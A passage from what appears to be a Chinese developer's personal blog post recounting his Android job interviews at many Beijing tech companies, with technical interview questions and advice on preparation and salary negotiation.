公司的副技术总监，下文就成为老大），用他的话来说就是经常踢着我的屁股走。\n\n当我在网上了解到很多实用的新技术时，跟他随意吐露一句话，他就能非常用心的倾听我的想法，并鼓励我将这些东西带入到项目中来。从那以后我就开始看很多新技术，感觉合适的会引进到我们的项目中。从之后的证明中来看，是非常有价值的。\n\n曾经遇到的情况是这样的：当我刚进入K公司后，打杂一个多月，就被关到了 小黑屋（呜呜呜，好可怕的小黑屋，996的制度）。然后才开始正常的架构师之路，第一步就是统一开发环境，在我来公司后，我发现公司的android同事用的开发工具种类真是繁多啊，神马 Eclipse、IntelliJ IDEA、Android Studio、Windows、Ubuntu、Mac。刚进公司的时候我曾经用鄙夷的眼神看过那些 Eclipse 的童鞋，真是无力吐槽了。于是我给 老大说：『咱们的开发环境最好统一起来，现在各式各样的工具，弄个东西真费劲。』于是老大二话不说，就在群里跟大家吼，都务必切换到 Android Studio（以下简称 AS），由我来监督并执行。于是我拿着鸡毛当令箭，给大伙把地址什么的都找好，发到群里去，让他们自己下载（后期我们就搭建了 ftp服务器将这些常用的工具都放在里面，省的再去下载了）。 翻墙工具我使用 goagent（不怎么稳定），给其他人分享也太费劲了，因此让他们自己搞定。老大自己有一个 VPS，于是给大伙共享后，环境基本就统一了。\n\n> 期间有一个小插曲：\n> 一个年龄 比我大的同事在用 Eclipse，在我推广我的 AS 时，他说比较忙，没时间弄。我就急了，因为我刚到公司不久，老大分配给我的任务，推行不下去，这可不行啊，没说几句吵起来了。最后我也知道不能太着急，但是已经吵了，关系肯定不咋样，老大当时开会去了，我知道自己太心虚了，因此主动给老大承认错误，说我和那谁谁吵架了，因为他不用AS。最后在老大的劝说下，这个人就勉强切换到 AS了。\n> 其实这个人就是我之后的新Leader，每每想到这里我就全身发冷汗，Leader要虐你，你还能有好活路么？还好这个Leader人比较好，人也比较大气会处事，不怎么跟我计较。我已经对着佛祖忏悔了N多次。\n\n### 第一天面试\n\n我用 “X钩” 开始捡一些不怎么有名的C 类公司投递，很快就收到了很多的 面试邀请。\n\n##### 首次面试——国外输入法\n\n记得当时去的第一家公司是做国外做输入法的，做的还不错。从外面能看见一栋略微有点老的大厦，办公环境很一般。\n\n进去后很巧的是遇见了一个熟人，第一位面试官竟然认识我之前在X游的一个同事，然后我们就聊开了，他也没怎么难为我，就问了我几个很简单的问题，例如：handler的原理，多线程。我按照记忆中的样子说给他听，然后就第一关就轻松过了。\n\n等了一会，另外一个面试官进来了，问了一长串问题，基本就是 Android的相关的基础，然后第二个又轻松过了。\n\n等到第三关的时候，一个年龄稍微大的人进来了，很容易能看出，这个人应是该技术团队的负责人，问了一些工作经历后，然后问了一个最让我印象深刻的问题是：『你了解过Android上的黑科技么？比如Android 5.0 之上有一个辅助功能，如果用户开启后，就能像豌豆荚那样自动安装app,等同于拥有了root权限，但是手机重启后，这个就自动关闭了，有没有办法可以自动打开呢？』据他了解，有很多不知名的小App 都实现了，但是很多大公司都没用。 我想好好一会，说可能这些app 被厂商列入了白名单，因此重启手机后还能自动打开那个辅助功能。我实在想不出如何能实现这样的效果。最后他告诉我，其实他们也是分析了好久，才发现，那些小App, 都是开启了一个进程（或者是service，具体记不清了，有兴趣的童鞋可以试试）来守护，因此能够开启。这么一说，我也瞬间明白了。\n\n但同时我提到这样做会可能会导致耗电量增加啊，对方的一句话把我真雷住了。“那能费多少电。。。” ，我瞬间无语了。但是他们可能因为某些需求必须如此做，因此要实现这样的功能，相对于电量来说应该也能接受，不至于比什么都玩不了的强，体验也确实提升了很多。不用用户每次去开启那个开关，虽然有点风险，但是相对于Android上的风险来说，确实低很多。\n\n等第三轮面试完成后，然后Hr 小妹妹带我到一个很大的会议室，见到一个很年轻的人，听Hr说，这个人应是CEO之类的，反正职称很高。他就问了些职业规划，平时有什么兴趣爱好，以后有什么打算，薪资要多少？我说到公司后可以先接触一些业务层面的东西，然后慢慢再走架构路线，之后可以负责主要核心模块。平时就看看书，参加沙龙活动，没事打打游戏。他也简单回答我一些问题。之后就是让我先走，等通知。\n\n傻傻的我还就这样高兴的走了，因为我总体感觉还是很棒的，毕竟连过4轮哈。从最后的结果中能明白，其实应该是要的薪资太高了。为什么这么说呢？因为一般情况下，最后一轮就是简单看看你这个人怎么样，技术关肯定没问题，否则前三关就 pass 了。可能对方觉得你要的薪资和你的实力不符合，也可能他们想再对比看看，选择一个更合适的人选。\n\n##### 58到家\n\n从上一家公司面过后，我就紧接着去第二家公司 58到家，在大屯路东地铁站附近。到了后刚好12点，电话联系后，他们说班车司机都午休去了，要等到2点才能过去（58到家面试需要从地铁站做班车过去，路程还算能接受的）。然后我就吃了点饭，在附近网吧 撸一局，看时间点差不多了，我就去那块坐车了，差不多走了5分钟做就到了。\n\n北苑路北美国际商务中心，这块有很多公司，什么珍爱网之类的都在那附近。\n\n第一轮面试我的是一个小伙，问了一些基本的Android基础，然后问了一下 android的绘图原理，我说： onMeasure, onLayout, onDraw。 然后他说每一个什么作用？ 那个onMeasuer主要做什么的？并举了一个例子：一个自定义的滚动View A里面如何放另外一个滚动的View B？我说把 View B将 onMeasure 里面的高设置成最大，这样就能解决冲突问题。最后他简单说了一些 onMeasure 里面的几个参数，我对此加深了解了。\n\n第一关也就这样过去了，等到第二关的时候看起来一个挺帅气的男人带着一个很显眼的婚戒跟我说一些项目流程上的东西，因为我在K 公司这块跟老大接触的比较多，因此一般问题难不住我，轻松就过了。\n\n等到第三关的时候，问我一些工作经历，然后问问职业发展规划，平时的兴趣爱好，以及你觉得得你和其他人有什么优势。我挺好奇的，为什么最后的这些面试官都要问类似的问题，之后从一个关系还不错的猎头那里了解到，其实他们也就是了解下以后的动向，以及看看这个人的人品。关于优势我是这么说的：我说到公司后可以先接触一些业务层面的东西，然后慢慢再走架构路线，之后可以负责主要核心模块。其实和上面的回答一样，这基本就是所说的套路。他们可以用套路，我们为何不可呢？ 嘿嘿，别学我，自己根据实际情况来。\n\n本以为就结束了，没想到他们说 CTO不在，可能还有复试，先让HR大美女跟我谈谈。HR慢条斯理的跟我说了一些待遇什么的，了解了下我的状况，问我要多少。我基本和上一个公司说的一个样。\n\n之后再来复试的时候，这个大美女HR给我了一些建议，说这个CTO是阿里出来的，喜欢会说话的人，想到什么就说什么，别紧张。在这面的时候，我就很放松，该怎么说就怎说，他也问了一些职业发展规划，以及我的经历，基本10来分钟就结束。我只想说大美女 HR 真真是体贴入微，感觉很 Nice, 这轮基本也顺利过了。之后这个HR直接说我被评为T5，但是以后可以继续努力，我也欣然接受了。不管怎么样，反正拿到offer再说，之后慢慢对比。\n\n##### 楚楚街\n\n说起这第三家 楚楚街 我就一肚子火，也不是说第三家不好，只是在去的路上让我备受折磨。从大屯路东 到 知春路，坐地铁应该几十分钟就到了。当时已经快四点了，5点面试，然后我就打算坐车去（不想再挤地铁了，想轻轻松松的过去），特么的为了省那几块钱，我选择拼车，在路上本以为只需要最多一个小时就到，没想到花了我1个半小时(只能感叹北京的车真多，路上堵的不行不行的)。哎，到他们公司的时候都快6点了，还好我提前在电话里和HR说过，他们说6点也是可以的。于是第三个面试就开始了。\n\n首先过来第一位面试官，看样子应该是 Android 技术 leader，开始问了我一些基础的面试题，比如：View 的事件分发机制，View的绘图，ListView 的实现原理（这个应该是几年前面试的时候经常问题，没想到现在也能遇见）。聊了好一会，然后他拿出他们的客户端给我演示了一个页面，说这个界面比较卡顿，让我分析下原因。我看过后，提出了几个有效的检测卡顿的方案，他们的这个界面主要是Listview 的 item 里面包含了一个 viewpager，然后 viewpager 的 item 里面有一个大view, 上面有N 多图片 + 动画效果，因此实现起来很麻烦,最后导致性能卡顿（不得不说产品同学，你的想象力真丰富啊，有没有考虑过研发同学的心情）。然后，他感觉得到了共鸣，因此接下来说话就比较放松了，他说和我年龄差不多，感觉我还是很厉害的（我不禁惶恐不安，我感觉还行，但是应该不是他说的很厉害，可能只是工作时间长了，该积累下来的东西大部分都有了），互留了微信，方便以后的交流（事实是没有啥交流的，只是当你面试通过后，可以有一个拉你入伙的渠道，嘿嘿，不晓得对不）。\n\n第二个进来的面试官长得挺帅气的，手上戴着戒指（之所以提到这个，是因为在我在我的印象中这个最亮眼，很多次在和他交流的过程中，我都比较紧张，我就盯着这块看用来放松，说真的如果看着对方的眼睛，双方可能都不会自在，当然除非你很有自信的时候是可以的）。开始简单问了下工作经历，然后就开始聊技术，第一个就是问我知道不知道 二分法，我当时楞了一下，猛然间反应不过来，最后专门确认问了下是不是 二分查找。然后我说在一个数组里面每次查找的时候从中间点开始对比，大于就右边找，小于就左边找，顺带提了一句这要在一个顺序的数组里面。然后面试官就说，二分查找还得每次先排一次序？我当时说是的，结果就感觉很2，可能没理解清楚面试官表达的是什么或者说我的表达有问题，其实我想说最开始的数组就是一个有序数组，但是面试官可能误解了我的意思，以为每次查到后，都要先排一次序（只能说悲催啊）。\n\n这个问题过了后就再问了我一个问题：『你来说说 Java 的内存管理。』这个问题在一两年前上就栽过跟头，所以当时专门看过相关文章。但是当我回答的时候，由于长时间没怎么看过了，记忆有点松动，大体的说出来了，但是不够准确（回去后就好好补充了下，在之后的面试过程中遇到的概率还是非常大的，尤其在第二面的时候）。然后他问我要多少薪资，我当时说 XX，然后他就问我是不是可以低一些呢？我开始说可以低一点，但是当他问低多少的时候，我心想上面两个公司的 offer 基本感觉到手了，这个可以适当的要高点，能给就来，给不了那就算了（我事后想想才明白，这种2B 的想法绝对不能有，要时刻保持低调，把握住任何一次机会）。最后他说，我得对得起兄弟们（怎么说呢？估计是刚回答的时候不是特别的满意，还有感觉我要的太高了），你这个薪资我没法跟上面谈。然后可想而知，当然肯定没有结果了。\n\n因此奉劝各位，要时刻保持低调，谦虚谨慎，莫要装B，否则肯定遭雷劈，我这就是一个活生生的例子。\n\n### 第二轮B 类公司面试：\n\n面试有很多，说起来可能会长篇大论，以下就总结性的说说，不再说明具体细节，只说我们之后在面试的时候应该注意的地方，以及他们对应聘者的要求。\n\n##### 映客 && 蘑菇街\n\n映客直播在望京soho,很高大上的地方，t1,t2,t3分别对应从低到高的大楼。到公司后，感觉还可以，第一个面我的人是一个技术，基本就问到一些Android 的面试题，没有任何悬念就过了，第二面的时候，感觉那个人还是比较随和的，问了 Java 内存管理的东西，以及一些其他的问题，最后还都聊得挺开心，第三面的时候直接就是 HR谈薪资，很容易就过了。\n\n在望京 soho 还去过 蘑菇街，里面的人技术比较好，我当时过去的时候已经6点了。那个面试官就跟我聊人生理想，提到一些 Android系统原理性的东西，但是感觉回答的不是很好。面试官感觉还是很不错的，然后给我说你以后要多看看例如 handler 原理，windowManager 的东西，并且从源码上去分析，网络上的理论知识还是要结合实践的，真是受教了。这部分我有点弱，虽然知道原理，但是看过源码的东西还是很少的，以后需要注重补充。他说他才是高级，我要应聘的这个 架构师肯定是不行的，问我是否愿意做其他的，我当然表示愿意了，现在要综合提升能力，才能往更高层走。\n\n最后的最后，他很搞笑的跟我说：『我这人真不骗人』。我还纳闷啥意思，最后他说：『今天已经很晚了，第二轮的面试官不在，我明天给你向上反馈下（从之后的一个同事的口中才明白，一般说第二轮的面试官不在，基本就是说你没戏，很委婉的一种说法而已）』。\n\n结束后我看了一下表，我晕，一面就面试我了一个半小时，真特么无语了。不过收获还是很大的，知道自己的不足后，就知道需要补充哪些东西了。\n\n##### 乐视\n\n去了一趟姚家园的乐视，只能说看着挺风光的，但是进去后，特么的真虐人。\n\n电梯分区，还只能在一边的乘坐，很不赶巧的是我去的时间刚好是10点，对于他们公司来说这就是高峰期，电梯根本排不上队，而且乱糟糟的（之前在X游的时候，大家都是排队的，这边没有，可能地方太小了，排不开吧）。电梯上不去了，看来只能跟一些人爬楼梯，一直爬到9层，感觉都喘不过气了。\n\n上去后一个很美的 HR（长腿姐）带我找面试官，然后表示没有会议室，原来的会议室都变成工位了，所以让我先在一个小角落呆着（保洁阿姨的专属位置），过了好一会面试官姗姗来迟，也是一些非常基础性的东西，最主要的是他们提到了推送，怎么实现，已经存活情况说了一些。\n\n第二个面试官也是特么来得晚，等了 N 久，闲的无聊就和保洁阿姨聊天，顺带看看他们的办公环境，只能说真心挤得慌。第二位面试官来了后就看看我的经历，因为第一轮的技术面都过了，因此简单聊了下，就说说他们的发展前景，要做海外产品。听我的兴致勃勃，很开心，然后让我等会。\n\n他们基本都去吃饭了，留下了我在那里干等，然后来了一个HR 的小妹妹，跟我谈薪资以及经历，貌似对我一两年换工作有很大意见，哥就好好给她普及了一番互联网界的基础知识。没想到就在快要搞定的时候，这个小妹妹的老大过来了，然后就看见一个身材超棒，腿很长的漂亮姐姐 HR（长腿姐），坐在我的对面（小妹妹示意我这是她的老大）。瞬间不爽了，都马上谈完了，结果换人再来，真无语了。只能将刚刚的辉煌时刻再来装 B一次，然后谈薪资神马的，给的也不是很多，我要 XX，她说那么多，只能给我薪资范围最低的一个档次。好吧，就接着吧，然后非要我先填写一份背景调查表，如果没有问题后，才给我发 offer，我看到美女拿着那份很大的 纸张，瞬间无语了。\n\n我当时就不怎么开心，然后长腿姐毕竟老练的很问到：『说你是不是有事？』。我说是的，待会1点还有其他地方的面试，然后她说：『那你先回去吧，这个表格发你邮箱，你写好后发给我。』然后长腿姐就送我出去，我又特么的一路爬楼梯下去（9层啊），电梯等了 N 久都下不去。\n\n### 接下来说说几个有意思的公司\n\n##### 新浪\n\n新浪位于理想国际大厦，记得几年前去新浪面试的时候，傻傻的都没准备就去了，结果第一关就挂了。\n\n这次是下午去，外面还飘着毛毛细雨。去了后竟然特么的让我做面试题，哥已经不做面试题很多年。但是想起了之前的经历，还是老老实实写写，据我估计面试的哥们应该会问上面的东西。还好这次做了万全的准备，刷了 N 多面试题，补充了基础的数据结构理论知识。写起来如行云流水，嗖嗖嗖的没几分钟就完了。\n\n第一个面试的哥们看看卷子，没啥意见，然后问最后一道纠错编程题有没有什么问题，我虽然指出了几个错误，但是感觉他还不是特别满意。因此我仔细看了下，原来是一个静态变量引用了 Activity 的上下文,然后指出，他再问了一些偏底层的东西以及性能优化的地方，轻轻松松就过了。\n\n等到第二面的时候，这个人一看就是技术大牛，问了很多 Java 层面的东西，多态，抽象类，多线程，内存管理等等。我感觉回答的不是太好，多态那有点问题，其他的应该还可以。\n\n然后就进入了第三面，第三面的面试官应该是部门负责人，问了工作经历上的事情以及兴趣爱好，之后的发展方向，想做什么层面的。最后很不幸的是在等待第四面的时候，最开始给我题的美眉告诉我时间很晚了，让我先回去，之后等消息。\n\n至少这次来比第一次高级了很多，不至于第一轮就被刷下去。最后分析了下原因，还是薪资要的太高了，尤其是这类公司。\n\n##### 滴滴\n\n滴滴位于西二旗，应该有两个办公地点，其实我一直很想去滴滴，福利待遇很不错。一年前去过一次，很可惜在第一轮的时候，因为在某些适配方面回答的不是太好，因此失去了机会。\n\n这次已经准备很多了，进来后还是在去年的位置上坐下等面试官。说实话感觉滴滴成长的很快，办公环境都变的更漂亮了，哈哈哈。\n\n这个面试官一看就是一个技术宅，开始对我各种炮轰。面试题一个接一个的，在我连续回答十来个题后，看见他还在问，记得在提及到 volatile 的作用的时候，我就开始不爽了，这个东西记得之前在源码里面见过，但是具体的一时说不上来，看着他那样子，埋头在纸上给我出题，我就不怎么配合了。面试了那么多家，就你问了 N 多问题，还有完没完了（其实这也算是抗压的一种面试方式）？我直接说不知道，然后他再问了几个基础性的东西，我想都不想直接说不知道，他貌似已经看出来我已经很不爽了，然后说，那你说说你项目中有没有比较 NB 或者比较有亮点的地方。我的回答直接是：没有。然后他也就不怎么问了，说那先这样。我说：好，就这样，我先走了。 然后潇洒的离开滴滴。\n\n现在想想真特么的很2B，应该低调低调再低调。也可能是那天下午太累了，上午面试了两家，而且已经拿到两家的 offer 了，还都不错，在这特么憋屈，才表现的如此差劲。其实对于问题，知道的话就好好说，不知道的话，可以说说思路和想法，然后说说以后会怎么做，利用迂回包抄策略去应答，准没错。至少给面试官知道你还是可以动脑子的人。\n\n在此我真心后悔当时的冲动，向滴滴那位面试官表示歉意。其实不用那样的，我们只需在面试的时候尽力表现自我就可以，以后切莫带着情绪去看待或者回答问题。\n\n对于人生中的很多问题也是这样的，这次栽倒坑里去了（用我老大的话来说，你不在这里踩坑，总有一天也会在另外一个地方踩到，到时候的损失就不可估计，趁着年轻多多历练自己），总结之后才能更近一步。\n\n##### 百度外卖\n\n百度外卖现在已经不属于百度了，而是单独分出来。\n\n我的一个同事去了百度外卖，我感觉他的能力和我差不多，我就让他推荐了。\n\n去后，上了一个很长的台阶（感觉很庄重的样子），要刷卡才能进去。等了好长时间，面试官把我领到楼下的公共办公桌，就是那种中间空地，周围都是楼层，能看见其他人在楼层间走动。一个年龄见长的面试官，开始感觉挺随和的，然后说跟我聊聊 Android 基础。\n\n第一个问就是：『咱们先来谈谈 Android 的四大组件。』我彻底懵逼了，尼玛，跟我谈四大组件，有意思么? 没想到一直到最后都跟我谈这些，一个接一个的问。说到广播那块，关于一个 app 被杀掉进程后，是否还能收到广播的问题纠结了好久。\n\n然后让我画我之前设计的架构图，我就随便画了画，但是没想到这个看起来很好的面试官让我大跌眼镜，他用鄙夷的笑容告诉我：『你这也太初级了。』我当时心里有几万只草泥马在崩腾，你都30+了，就不知道鼓励新人啊，我都说过我刚做架构的时间不长，而且鄙视我，有本事你也弄一个架构给我看看啊，一点不尊重我们年轻一辈的劳动成果。也许就怪我当时我真就按照他说的草草画几笔吧，没怎么认真对待。我去其他公司面试的时候，虽然这个图不怎么样，但是至少能解决 某些领域的问题，其他面试官都很谦虚。这个百度外卖的面试官，真不是我喜欢的领导，如果以后真让他来带我，那就真完蛋了，很多时候我们都是因为某些人扼杀了我们最初美好的萌芽，而从此失去了创新的意识。\n\n很庆幸的是我在 K 公司的时候，老大一直鼓励我创新，遇到想做的就去做，所以一路下来，虽然很累，但是干的很开心。\n\n所以每当有人问当初为什么选择K 公司的时候，我都会自豪的说：『我的老大很不错，我在那里很很舒服，很开心』。记得在我离开的时候老大给我最后劝告就是：『你要时刻反思自己此刻是不是已经被别人洗脑了。』\n\n### 第三轮：\n\n##### 1.百度\n\n百度位于海淀区上地十街附近，有很多大厦。 我去的是一个做国外工具的部门，去了后，被百度的环境和氛围震惊到了，在一个很大的技术园区，有网易，百度，腾讯公司，对面还有一个大楼正在修建，估计会是另外一个互联网公司的场地。\n\n进入大厦里面后，由于还没来得及吃饭，边吃手里的饼，边浏览下百度的外围办公区。进入百度的大楼后，两个入口都设有刷卡机。\n\n在空闲区等了好一会，然后一个人带我进入大厦。在进去之前，到前台那块面试官输入自己的邮箱账号，然后让我填写其他登记信息，我印象最深的是显示器上边贴着一个纸条，说：请离开的时候在此登记，否则会进入百度的黑名单（意思就这样，具体记不清了）。当时震惊了半天，没想到竟然这个严格。\n\n和面试官进入大楼里面后，只记得的印象是：很整洁，高大。出楼梯后，脚踩着厚厚的地毯，稍微走快点，都感觉很松弛，脚下如踩棉花一样。\n\n为什么有地毯，而不是地板砖————到了夏天很多漂亮的长腿美女穿着高跟鞋踩在地板砖上是一个怎么样的体验呢？噔噔噔……\n\n我在等候区等到第一个面试官，然后我们简单聊了下 Android技术，其中有两点有必要提下：\n\n- 其中一点是：说说 View 的事件分发机制。然后我就说了好多，从 WindowManager->window->Decorview->子 view。最后我说当所有的 view 都不处理事件，事件会最后会传递到 Activity 的 onTouchEvent 上。然后面试官立刻说：『哈？你这是颠覆我的三观啊？』 然后我意识到可能有问题，但是记得 《Android 艺术开发探索》上确实写过到 Activity，但是不是到 onTouchEvent还真没底。面试官很自信的样子，让我颤抖了。但是随着我的坚信，面试官说：『不行，我不能冤枉你是不！』立刻在手边的 MBP 上看了一下，自言自语感叹道：『还真有啊！』 我顿时无语了。\n- 另外一点是：问我 Service 上能不能弹出对话框。对于这个问题，我印象最深刻了，记得一年前的时候，在另外一个公司就因为这个问题让我尴尬万分，回去后专门对这块进行补充。我的回答是可以的，但是面试官面带差异的表情告诉我这是不行的，Dialog 必须要依附于 Window 才能显示出来。然后我的解释会让面试官郁闷一会：我说这个是可以弹出的，我之前也专门试过，不过他弹出是有条件的。 条件是：\n  - 必须在 Manifest 里面注册系统权限\n  - 在显示 dialog 的时候必须要加一个 flag.\n    我的理由是：系统对话框可以在低电量的时候弹出对话框，我们同样也可以采用该方式来实现。\n\n面试官语塞，然后给我说 Dialog 是必须要依附在 Window 上，Toast 其实也是一个 Window。我听着这些话，就想起以前看过的一篇文章上也确实是这么说的。估计该面试官回去要好好补充下一些知识了哦。 然后该面试官让我不能用 Arraylist,用数组 写一个队列。这块刚好我在之前项目中特意用了一下，写的时候，主要有三个方法： put(), get(),peek(). 然后考虑下队列的特性，一端进入，一端出去。我当时遇到了盲点，没怎么写完，最后给面试官说了下思路，大体是对的。但是关于选择位置那块没怎么想好。不过这不阻碍我进入第二轮。\n\n第二轮面试的时候，面试官带了很多纸张，我瞬间压力山大，知道不太妙。不出所料，这个面试官，从动画实现原理，到 handler 实现原理，一步步深入各种原理，当我感觉回答的不错的时候，然后他就顺着我的问题继续深入。我只能说我尽力了，有些东西，平时开发的时候真心不注意，但是就因为没有留意，所以就没法继续回答他的问题。\n\n面试官把我带出大厦的那一刻，我心情很不好，很可惜没进入百度，之后应该需要准备很多东西。我要说，我还会再来的，哈哈哈！ 最后也归还身上的一个牌子到前台后，省的被拉入到黑名单（好吓人的样子）。\n\n以后有时间多看看原理性的东西，最好整理一个自己的博客，写上自己的一些看法和感悟，这样记得最深刻，即使几年后也不会遗忘，只是看看别人总结的东西，真的就不怎么记得住。\n\n关于博客可以使用 Hexo, 我的博客也是如此，可以整理一些自己的东西与心得。\n\n### 2.阿里\n\n这次去的是一个阿里的高德部门，在望京 Soho 附近的 首开广场。去了以后首先找厕所，你们知道么？厕所竟然从大厦楼层的的一个角转了一大半圈才找到，回来后进入找不到前台了…… 瞬间无语了。问了好一个美女才回到前台，然后接待我的 HR美女貌似等得不太耐烦了（宝宝心里苦，厕所好远，都找不到回来的路了）。在一个小型会议室等待面试官，看了下布置氛围和环境，感觉太棒了，很多东西都体贴入微。\n\n> 回顾上次阿里的悲痛遭遇\n> 其实这是我第二次来这边面试了，上一次过来的时候，是刚过完年。提到这里我就苦不堪言，为何如此说呢？当时是2016年2月15日，因为我参加好朋友的婚礼（不得不说，我这个年纪的人都开始结婚了，这次回去有4个好朋友都结婚，可想而知，一场完了以后还有另一场，虽然累，但是值得）推迟了好几天才回北京，在参加同学婚礼的时候接收到阿里高德部门的面试邀请。回到北京的当天是12点多，然后回家，一个关系非常好的朋友说今天她们要宴请公司的人吃饭，因为她们结婚了，让我帮忙弄个 MTV。我想这是朋友的终身大事，因此必须要好好干。\n> 我下午4点是阿里高德的面试，因此时间很紧促。我凭借我大学的技能在两个小时内搞定这个 MTV，总体来说还不错，就迅速发给朋友，弄完已经3点了，然后打车立刻去首开广场。\n> 高德的面试是4点钟，匆匆赶到后，就等待面试官。面试很不理想，因为什么都没有准备，而且心力憔悴。面试官问的是一些基础的 Java 问题，很可惜我没怎么回答好。于是就深深的浪费了一次机会，之后和朋友提起此事，无比后悔，当时其实是可以和 HR 电话再约一个时间的。\n> 这次对我的打击很大很大，因为这是我这么多年第一次面试 BAT 的职位，一上来就受挫，很不是滋味。**我在这里失利后我就各种准备资料，增强自己的能力，面试前必须要刷题，虽然简单，但是不失为一种方法，虽然不一定有用，但是会加深印象，尤其是去 BAT 这些公司，一定要准备好，否则就别浪费机会，这就是我的教训和经验。**\n> 为了6月份的这次面试策划了很久。以前对什么可能都不是很上心，但是这个事件深深的刺激我了。\n\n第一个面试官来了后问了一些基本问题，很顺利就进入到第二轮面试。\n\n第二轮也基本是技术面试，问了一些 Android 基础和 Java 基础以及内存管理。\n\n第三轮的面试官应是部门负责人，看起来很好说话的，问了一些经历和基本情况后，问我薪资要多少以及之后的发展方向。我说要 XX，之后希望在架构方面发展，但是也可以从业务开始。貌似这里回答的不怎么好。然后让我留了他的联系方式，我知道很有戏哦。\n\n因为我在进入 K 公司的时候也是这样的，老大感觉我很不错，于是留了微信后，我基本就顺利入职。\n\n回去后的一两天还是很焦虑的，但是我知道大公司都是有流程的，因此我告诉自己不要焦急。过了一两天后他主动加我微信，然后问了些基本情况后，就说他要做最后的总结，让我等着，最迟一周后就有消息。我感觉希望超大的，开心了好久，本以为就可以这样过去。但是一周时间过去了，没人通知我，我开始焦急了，于是我开始主动和他说话，反思自己是否有什么地方做的不好。\n\n经过很多面试后我总结出了结论就是要薪资太高了，于是我在微信里面给他说，只要能过去，薪资低点也是可以的。但是问了他好几次，他都没有回话，看着微信消息记录，都是我发给他，而他没有回复，已经过去好多天了，我知道没希望了，他说不管怎么样都会给我回复的，但是我真绝望了。\n\n就像相亲一样，遇到一个不错的美女，开始都一起聊得很不错，她开始加你好友，并且和你说看好你，不管能不能做女朋友，她之后一定会回复，但是苦苦等待一段时间后，不管你怎么给她说话，但是她就是不理你。可能她真的忙，但是也不可能连续一两天都这么忙吧。于是你知道没结果，因为无言等同于没有希望。为了避免一些幻想的存在，你会将她删除掉，不想留下任何关于他的信息。\n\n同样我也是把这个阿里高德的老大的联系方式删掉，微信也删掉。在我失去希望的时候，过了几天看见他要主动加我，但是我想可能只是安慰的话语，最多告诉我，我不适合他们的职位，因此我为了避免尴尬，直接删除那个加我好友的请求（如果说真的合适的话，应该会很重视你的，不可能好几天都回复，怎么有一种备胎的感觉，呜呜呜，我不想被发好人卡，宁愿做高傲的兔子，也不想做纸老虎，虽然尽管只是纸老虎，但是也会拥有属于它的一片森林）。\n\n于是阿里的这次机会就失去了。\n\n总结后的结论就是：去大公司要的薪资不要太高，否则对方只能感谢你的到来，因为比你优秀的人太多了。\n\n### 聚美优品\n\n聚美优品 位于东四十条地铁站附近。路过一个竹亭子后，进入大厦里面需要用身份证在前台那块登记后给我一个纸条，上面写着我的身份证信息，然后在门禁卡附近刷二维码进入（真担心个人信息泄露哦，当然一般情况下没人会关注你是谁的，千万别干坏事哦，会被查出来的，哈哈哈）。\n\n推荐我去聚美优品的同事接我上去后，带我到前台填写基本信息。我只写了最基本的信息，然后她说，你就写这么点啊。我说，其实这些信息够用了，写那么多没用，还会暴露你的个人信息。面试成功后，如果有需要可以写详细些，但是一般去面试最好别写身份证信息。工作经历基本也只是最近两个，之前的就不用写了，写那么多没什么用，简历中都会有的。\n\n记得刚工作那会，傻傻的全写了，真耽误了不少时间。过了一会，她把我交给 漂亮的HR 温柔姐，然后就先忙去了。温柔姐告诉我一般情况下有两轮基本就过了，先让架构师老大直接面我，让我先等候。\n\n过了一会温柔姐不好意思的跟我说架构老大先让一个技术面我，问我是否有意见，我当然没意见了，这是很标准的面试流程（如果你有意见，建议还是别说太多的话，基本都这样的，要淡定）。\n\n一面技术给我一种很成熟的感觉，开始问了我一些基础技术问题，外加 Java 内存管理知识。后给我出了一道算法题，说有一个数组最多存储6个数，如果有普通用户的话，存储四个 vip的客户，另外两个是普通用户（留出一定的空间给普通用户），让考虑全面点（一般都是结合实际场景，让你写出一个算法，要具备的能力就是抽象，处理问题的思路与细节，还有最基本的编码功底）。\n\n然后我就考虑各种情况，第一种是非空情况，然后下面就是几个大的 if else, 至少四个条件，基本涵盖了全部情况，然后每个条件里面写上对应的存储数据的过程。由于我的四个大条件都把距离占的差不多了，在写里面细节的时候，用中文描述。过了一会他回来后，看了下说：『你这个还有中文啊！』 我尴尬的笑着说：『我先写条件的，最后发现没有空位了，只能用文字代替了，你看我正在另外一个纸上写全部的完整算法。』指了指纸上刚写一小半的代码。他也会心一笑，并指出算法上应该改进的地方，基本 ok 啦。\n\n然后等第二轮的面试，看起来更成熟，但是说话有一种很亲近的感觉。问了基本情况，然后拿出他们的 app 让我看看首页的实现效果，说说怎么实现的。对于这种情况，基本就是考察你的抽象能力，以及分析问题的能力。我先说出使用 ListView 的 header，footview,然后使用 ListView 的 type 来实现。然后简单说了一些性能优化的东西，该面试官提出我的做法可能会存在性能瓶颈。其实他说出这块是在指导我说这块会有问题，我当然明白他的意思，于是说这块采用 recyclerview + fresco 来实现，可以有效的改善问题（其实提到这些，就说明你看过很多新技术了，有时间最好还是要自己练练这些东西，毕竟孰能生巧）。\n\n他也没深究，基本就感觉不错，开始谈了谈他们的目前状况，以及即将遇到的问题。他在只言片语中都把我当做内部人看，我也心里感觉很舒服。最后告诉我如果我愿意，他就向上报备了，意思是可以继续下一轮。当时他问到我的薪资的时候，因为之前已经说了 N 多次，有的成功，有的感觉很亏，于是这次我并没有说，只是笑笑，而对方说：『那就按照年薪算吧，你打算要多少呢？』我当时什么也没有多想，然后就说：『我希望在我现有的薪资基础上，能上涨15% - 20%。』他经过在手机上一阵比划后，告诉我可以达到我的预期效果。整个过程感觉很愉悦。\n\n因为面过了一些，并有offer，但是还是想多看看，结果把自己搞的疲惫不堪。但是最后的最后，温柔姐给我打电话说面试通过。\n\n### 最终结果\n\n最终我辞职后在家休息几天，没事的时候去咖啡馆看看书，上上网，好好过几天轻松的日子，然后再说定去哪里工作。\n\n### 总结：面试和必备的技能\n\n这里只简单列举一些东西，可能不是特别全，但是却特别适用，也不一定按照下面的流程，有可能是穿插的，也有可能都有，根据公司的规模以及面试官的心情而定（哈哈哈 ，你们就自求多福吧）。建议大家还是要将下面的东西全部掌握，没事写写代码，练练手，在项目中能用到的地方一定要用，有可能会遇到很多坑，一定要自己想办法填坑，之后回忆起这段经历，肯定可以敢理直气壮的跟别人讨论。如果你说的头头是道，那么对方会先输一层，然后在心里对你佩服。\n\n1. 一般情况下第一轮都是基础面试，需要扎实的基础\n   - 最常用的Android 基础知识\n   - Java 基础知识\n   - 了解一些 常用东西的原理，例如：handler， thread 等\n   - 项目中的技术点\n2. 第二轮的时候需要了解更深层次的东西\n   - Android 事件分发机制原理\n   - Android 绘图机制原理\n   - WindowManager 的相关知识\n   - 进程间传输方式\n   - Java 